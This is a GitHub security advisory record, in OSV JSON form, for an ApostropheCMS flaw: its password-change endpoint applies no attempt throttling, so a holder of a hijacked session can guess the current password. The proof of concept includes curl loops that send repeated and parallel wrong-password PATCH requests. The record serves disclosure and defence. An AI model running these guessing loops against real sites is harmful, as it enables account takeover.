{"id":"GHSA-653j-g8j7-gh54","summary":"ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing","details":"**Summary**\nThe self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response.\n\n**Exact source path**\npackages/apostrophe/modules/@apostrophecms/settings/index.js:621-664\n\n**The password-change route is:**\nPATCH /api/v1/@apostrophecms/settings/password\n\n**The route calls the password verifier directly through:**\nawait self.handleProtectedSubform(req, subform, req.body );\n\n**The password verification path is:**\npackages/apostrophe/modules/@apostrophecms/settings/index.js:514-542\n\n**async handlePasswordProtectedSubform(req, subform, payload) {\n  try {\n    await self.apos.user.verifyPassword(req.user, payload.passwordCurrent);\n  } catch (e) {\n    throw self.apos.error(\n      'forbidden',\n      'apostrophe:passwordCurrentError',\n      { path: 'passwordCurrent' }\n    );\n  }\n  return subform;\n}**\n\n**The verifier itself does not increment the login-attempt cache or enforce a delay:**\npackages/apostrophe/modules/@apostrophecms/user/index.js:412-487\n\n**By contrast, the login route explicitly calls checkLoginAttempts and addLoginAttempt in:**\npackages/apostrophe/modules/@apostrophecms/login/index.js:831-929\n\n**Local PoC**\nThe test used a disposable authenticated guest session against:\n\nRequest:\n\n```\nPATCH /api/v1/@apostrophecms/settings/password HTTP/1.1\nHost: 127.0.0.1:3000\nCookie: \u003credacted-authenticated-session\u003e\nContent-Type: application/json\n\n{\n  \"password\": \"new-temporary-password\",\n  \"passwordRepeat\": \"new-temporary-password\",\n  \"passwordCurrent\": \"definitely-wrong-current-password\"\n}\n```\n\n**Equivalent command:**\n\n```\nfor i in 1 2 3 4 5; do\n  time curl -i -sS \\\n    -b /path/to/temporary-session-cookie-jar.txt \\\n    -X PATCH \\\n    'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \\\n    -H 'Content-Type: application/json' \\\n    --data-raw '{\n      \"password\": \"new-temporary-password\",\n      \"passwordRepeat\": \"new-temporary-password\",\n      \"passwordCurrent\": \"definitely-wrong-current-password\"\n    }'\ndone\n```\n\n**Observed response**\nAll five attempts returned the same immediate validation response:\nHTTP/1.1 403 Forbidden\nContent-Type: application/json; charset=utf-8\n{\n  \"name\": \"forbidden\",\n  \"data\": {\n    \"path\": \"passwordCurrent\"\n  },\n  \"message\": \"apostrophe:passwordCurrentError\"\n}\n\nObserved timings were approximately:\nAttempt 1: 231 ms\nAttempt 2: 232 ms\nAttempt 3: 226 ms\nAttempt 4: 229 ms\nAttempt 5: 226 ms\n\nNo attempt returned a throttle response, lockout message, Retry-After header, or rate-limit status.\n\nseq 1 20 | xargs -P 20 -I{} sh -c \\\n  \"curl --max-time 15 -sS \\\n    -o /tmp/password-attempt-{}.body \\\n    -w '%{http_code}\\\\n' \\\n    -b /path/to/temporary-session-cookie-jar.txt \\\n    -X PATCH \\\n    'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \\\n    -H 'Content-Type: application/json' \\\n    --data-raw '{\\\"password\\\":\\\"new-temporary-password-{}\\\",\\\"passwordRepeat\\\":\\\"new-temporary-password-{}\\\",\\\"passwordCurrent\\\":\\\"wrong-current-{}\\\"}'\"\n\nResult:\n20 requests -\u003e HTTP 403 Forbidden\n0 requests -\u003e HTTP 429 Too Many Requests\n0 requests -\u003e lockout response\n\nThe valid password continued to authenticate afterward:\nPOST /api/v1/@apostrophecms/login/login HTTP/1.1\nHTTP/1.1 200 OK\n\nImpact\nAn attacker who has obtained or hijacked a valid authenticated session can repeatedly guess the current password through the password-change endpoint. Each guess receives a normal response, and the route does not apply the login throttle or lockout mechanism.\nIf the current password is weak or reused, this can allow the attacker to pass the current-password check and replace the account password. The attacker would then be able to log in after the password change. The attack requires a valid authenticated session and does not work anonymously.\nSeverity\nMedium, subject to the application’s session-threat model. The prerequisite of an already authenticated session limits exploitability, but successful guessing leads directly to account takeover through password replacement.","aliases":["CVE-2026-113710"],"modified":"2026-10-20T18:30:04.260581374Z","published":"2026-10-20T18:17:50Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-307"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-10-20T18:17:50Z"},"references":[{"type":"WEB","url":"https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-653j-g8j7-gh54"},{"type":"WEB","url":"https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce"},{"type":"WEB","url":"https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350"},{"type":"PACKAGE","url":"https://github.com/apostrophecms/apostrophe"},{"type":"WEB","url":"https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0"}],"affected":[{"package":{"name":"apostrophe","ecosystem":"npm","purl":"pkg:npm/apostrophe"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.33.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-653j-g8j7-gh54/GHSA-653j-g8j7-gh54.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N"}]}